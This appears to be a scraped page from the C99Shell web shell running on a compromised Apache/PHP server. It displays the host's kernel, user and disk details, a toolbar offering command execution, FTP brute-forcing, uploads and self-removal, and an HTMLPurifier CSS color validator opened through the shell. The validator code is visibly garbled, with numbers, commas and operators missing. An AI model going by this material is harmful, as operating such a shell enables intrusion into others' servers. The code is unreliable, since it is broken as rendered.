!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/uploads/script/vendor/ezyang/htmlpurifier/library/HTMLPurifier/AttrDef/CSS/   drwxr-xr-x
Free 13.11 GB of 57.97 GB (22.62%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Color.php (4.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * Validates Color as defined by CSS.
 */
class HTMLPurifier_AttrDef_CSS_Color extends HTMLPurifier_AttrDef
{

    
/**
     * @type HTMLPurifier_AttrDef_CSS_AlphaValue
     */
    
protected $alpha;

    public function 
__construct()
    {
        
$this->alpha = new HTMLPurifier_AttrDef_CSS_AlphaValue();
    }

    
/**
     * @param string $color
     * @param HTMLPurifier_Config $config
     * @param HTMLPurifier_Context $context
     * @return bool|string
     */
    
public function validate($color$config$context)
    {
        static 
$colors null;
        if (
$colors === null) {
            
$colors $config->get('Core.ColorKeywords');
        }

        
$color trim($color);
        if (
$color === '') {
            return 
false;
        }

        
$lower strtolower($color);
        if (isset(
$colors[$lower])) {
            return 
$colors[$lower];
        }

        if (
preg_match('#(rgb|rgba|hsl|hsla)\(#'$color$matches) === 1) {
            
$length strlen($color);
            if (
strpos($color')') !== $length 1) {
                return 
false;
            }

            
// get used function : rgb, rgba, hsl or hsla
            
$function $matches[1];

            
$parameters_size 3;
            
$alpha_channel false;
            if (
substr($function, -1) === 'a') {
                
$parameters_size 4;
                
$alpha_channel true;
            }

            
/*
             * Allowed types for values :
             * parameter_position => [type => max_value]
             */
            
$allowed_types = array(
                
=> array('percentage' => 100'integer' => 255),
                
=> array('percentage' => 100'integer' => 255),
                
=> array('percentage' => 100'integer' => 255),
            );
            
$allow_different_types false;

            if (
strpos($function'hsl') !== false) {
                
$allowed_types = array(
                    
=> array('integer' => 360),
                    
=> array('percentage' => 100),
                    
=> array('percentage' => 100),
                );
                
$allow_different_types true;
            }

            
$values trim(str_replace($function''$color), ' ()');

            
$parts explode(','$values);
            if (
count($parts) !== $parameters_size) {
                return 
false;
            }

            
$type false;
            
$new_parts = array();
            
$i 0;

            foreach (
$parts as $part) {
                
$i++;
                
$part trim($part);

                if (
$part === '') {
                    return 
false;
                }

                
// different check for alpha channel
                
if ($alpha_channel === true && $i === count($parts)) {
                    
$result $this->alpha->validate($part$config$context);

                    if (
$result === false) {
                        return 
false;
                    }

                    
$new_parts[] = (string)$result;
                    continue;
                }

                if (
substr($part, -1) === '%') {
                    
$current_type 'percentage';
                } else {
                    
$current_type 'integer';
                }

                if (!
array_key_exists($current_type$allowed_types[$i])) {
                    return 
false;
                }

                if (!
$type) {
                    
$type $current_type;
                }

                if (
$allow_different_types === false && $type != $current_type) {
                    return 
false;
                }

                
$max_value $allowed_types[$i][$current_type];

                if (
$current_type == 'integer') {
                    
// Return value between range 0 -> $max_value
                    
$new_parts[] = (int)max(min($part$max_value), 0);
                } elseif (
$current_type == 'percentage') {
                    
$new_parts[] = (float)max(min(rtrim($part'%'), $max_value), 0) . '%';
                }
            }

            
$new_values implode(','$new_parts);

            
$color $function '(' $new_values ')';
        } else {
            
// hexadecimal handling
            
if ($color[0] === '#') {
                
$hex substr($color1);
            } else {
                
$hex $color;
                
$color '#' $color;
            }
            
$length strlen($hex);
            if (
$length !== && $length !== 6) {
                return 
false;
            }
            if (!
ctype_xdigit($hex)) {
                return 
false;
            }
        }
        return 
$color;
    }

}

// vim: et sw=4 sts=4

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0054 ]--